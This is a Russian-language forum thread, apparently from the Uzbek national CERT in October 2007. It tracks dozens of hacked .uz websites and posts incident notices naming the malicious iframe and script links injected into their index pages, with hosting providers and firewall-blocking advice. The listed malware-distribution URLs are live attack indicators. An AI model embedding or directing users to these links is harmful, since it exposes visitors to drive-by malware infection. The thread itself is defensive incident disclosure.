tstu.uz - Хостинг: ISP "Ars-Inform"
zarduz.uz
zk.uz

Eldar Ishimbaev
17.10.2007, 09:57
Список на сегодняшний день (39):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
megapolis.uz - Хостинг: LiquidNet Ltd. (GB)
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
shox-hotel.uz - Хостинг: LiquidNet Ltd. (GB)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
trest159.uz - Хостинг: LiquidNet Ltd. (GB)
tstu.uz - Хостинг: ISP "Ars-Inform"
zarduz.uz
zk.uz

Djalolatdin Rakhimov
17.10.2007, 19:56
Список на сегодняшний день (39):

megapolis.uz - Хостинг: LiquidNet Ltd. (GB)
shox-hotel.uz - Хостинг: LiquidNet Ltd. (GB)
trest159.uz - Хостинг: LiquidNet Ltd. (GB)


Все-таки принимают меры. Уже хорошо.

Dmitry Paleev
18.10.2007, 13:09
На веб-сайте hттp://www.artstar.uz был обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в 4 местах в файле index.

Первая вредоносная ссылка: http://mmmmdanon.com/check/version.php

Вторая вредоносная ссылка: http://213.186.126.105/advtds/

Третья вредоносная ссылка: http://wmbmail.info/libs/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
18.10.2007, 13:11
На веб-сайте hттp://www.farm-glass.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
18.10.2007, 13:19
На веб-сайте hттp://www.gki-rk.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[I]--> вредоносный код <!--[I]-->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: MCHOST (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 13:28
На веб-сайте hттp://www.imex.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: HostForWeb Inc (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 13:30
На веб-сайте hттp://www.jurabek.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
18.10.2007, 13:34
На веб-сайте hттp://www.kamini.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 13:35
На веб-сайте hттp://www.karen.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
18.10.2007, 13:39
На веб-сайте hттp://www.lodging.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: California Regional Intranet, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 13:50
На веб-сайте hттp://www.madrasa.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в одном месте в файле index.

Первая вредоносная ссылка: http://58.65.239.138/sobchak/index.php

Вторая вредоносная ссылка: http://traffloads.info/st/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
18.10.2007, 13:53
На веб-сайте hттp://www.maxima.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
18.10.2007, 13:54
На веб-сайте hттp://www.medpharm.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены они в 3 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 13:56
На веб-сайте hттp://www.muslim.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в одном месте в файле index.

Первая вредоносная ссылка: http://58.65.239.138/sobchak/index.php

Вторая вредоносная ссылка: http://traffloads.info/st/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
18.10.2007, 13:57
На веб-сайте hттp://www.parfumgallery.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены они в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:00
На веб-сайте hттp://www.pharma.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены они в 5 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:01
На веб-сайте hттp://www.pharmi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены они в 5 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:02
На веб-сайте hттp://www.poedem.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены они в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: APS Telecom (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:05
На веб-сайте hттp://www.rentme.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:07
На веб-сайте hттp://www.shosh.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрены он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: California Regional Intranet, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
18.10.2007, 14:10
На веб-сайте hттp://www.tzmk.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в одном месте в файле index.

Первая вредоносная ссылка: http://58.65.239.138/sobchak/index.php

Вторая вредоносная ссылка: http://traffloads.info/st/

Хостинг: iPowerWeb, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
18.10.2007, 14:12
На веб-сайте hттp://www.uzross.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в одном месте в файле index.

Первая вредоносная ссылка: http://58.65.239.138/sobchak/index.php

Вторая вредоносная ссылка: http://traffloads.info/st/

Хостинг: iPowerWeb, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Eldar Ishimbaev
18.10.2007, 14:47
Список на сегодняшний день (Всего:54 Новых:16):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
imex.uz - Хостинг: HostForWeb Inc (US)
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
medpharm.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
parfumgallery.uz - Хостинг: Sarkor-Telecom
pharma.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Eldar Ishimbaev
19.10.2007, 10:47
Список на сегодняшний день (Всего:50):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
imex.uz - Хостинг: HostForWeb Inc (US)
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
medpharm.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
parfumgallery.uz - Хостинг: Sarkor-Telecom
pharma.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Djalolatdin Rakhimov
19.10.2007, 16:42
Список на сегодняшний день (Всего:53): может еще и в формате rss сделать, ЕС точно поставит его в баню.

Eldar Ishimbaev
19.10.2007, 17:00
может еще и в формате rss сделать, ЕС точно поставит его в баню.
Сделаем.

Eldar Ishimbaev
22.10.2007, 11:08
Список на сегодняшний день (Всего:48):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
imex.uz - Хостинг: HostForWeb Inc (US)
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Eldar Ishimbaev
22.10.2007, 18:05
может еще и в формате rss сделать, ЕС точно поставит его в баню.
RSS-фид (http://www.cert.uz/rss/rss.php) угроз.

Dmitry Paleev
23.10.2007, 14:15
На веб-сайте hттp://uzswlu.datasite.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: Compuweb Communications (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
23.10.2007, 14:20
На веб-сайте hттp://www.bios.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="javascript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://camel.f1del.net/ice/index.php

Хостинг: Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
23.10.2007, 14:24
На веб-сайте hттp://www.intereng.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://alltraff.ru/lol.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.10.2007, 14:29
На веб-сайте hттp://www.jaluzi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://traff4all.info/forum/index.php

Хостинг: ISP TEXNOPROSISTEM

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
23.10.2007, 14:31
На веб-сайте hттp://www.ozmc.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.10.2007, 14:41
На веб-сайте hттp://www.tennis.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами:

<script> вредоносный код </script> и <!-- o65 --> вредоносный код <!-- o65 -->

Внедрен он в 3 местах в файле index.

Первая вредоносная ссылка: http://0121.0137.0225.0146/

Вторая вредоносная ссылка: http://botnet.cc/index.php

Третья вредоносная ссылка: http://alltraff.ru/lol.php

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
23.10.2007, 14:47
На веб-сайте hттp://www.tzmk.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://traffloads.info/st/

Хостинг: iPowerWeb, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.10.2007, 14:51
На веб-сайте hттp://www.zorg.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[z0s]--> вредоносный код <!--[z0s]-->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://dodo32.org/505/Xp/

Хостинг: Colocall Ltd. (UA)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
23.10.2007, 14:53
На веб-сайте hттp://ko.connect.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Хостинг: UZSCINET

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
23.10.2007, 15:38
Список на сегодняшний день (Всего:51 Новых:8):

mingbulak.connect.uz
roller.sarkor.uz
ko.connect.uz - Хостинг: UZSCINET
uzswlu.datasite.uz - Хостинг: Compuweb Communications (GB)
admiral.uz
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tennis.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz
zorg.uz - Хостинг: Colocall Ltd. (UA)

Eldar Ishimbaev
25.10.2007, 11:01
Список на сегодняшний день (Всего:47):

mingbulak.connect.uz
roller.sarkor.uz
ko.connect.uz - Хостинг: UZSCINET
uzswlu.datasite.uz - Хостинг: Compuweb Communications (GB)
admiral.uz
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tennis.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz
zorg.uz - Хостинг: Colocall Ltd. (UA)

Dmitry Paleev
26.10.2007, 16:34
На веб-сайте hттp://www.aks.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://203.223.159.92/~gidra/spanish/index.php

Хостинг: DREAMHOST (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.10.2007, 16:37
На веб-сайте hттp://www.maxima.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[I]--> вредоносный код <!--[I]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://e4c71314df436434525a06029e9c7129.cyb3rz.org/505/Xp/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.10.2007, 16:39
На веб-сайте hттp://www.rentme.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[i]--> вредоносный код <!--[i]-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://56f8564486b5cc15104c236ba39045f0.cyb3rz.org/505/Xp/

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.10.2007, 16:41
На веб-сайте hттp://www.roboclean.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://203.223.159.92/~gidra/spanish/index.php

Хостинг: DREAMHOST (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.10.2007, 16:45
На веб-сайте hттp://www.uzlimo.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами:

<script> вредоносный код </script> и <iframe> вредоносный код </iframe>

Внедрен он в 6 местах в файле index.

Первая вредоносная ссылка: http://bl0cker.info/st/go.php

Вторая вредоносная ссылка: http://takenames.cn/st/go.php

Третья вредоносная ссылка: http://www.oiuytr.jino-net.ru/index.php

Четвертая вредоносная ссылка: http://rumbler.info/link.html

Хостинг: AttractSoft (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Eldar Ishimbaev
26.10.2007, 17:12
Список на сегодняшний день (Всего:52 Новые:5):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
roboclean.uz - Хостинг: DREAMHOST (US)
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tennis.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzlimo.uz - Хостинг: AttractSoft (DE)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Eldar Ishimbaev
27.10.2007, 15:03
Список на сегодняшний день (Всего:51):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
fiml.uz
gamma-elektro.uz
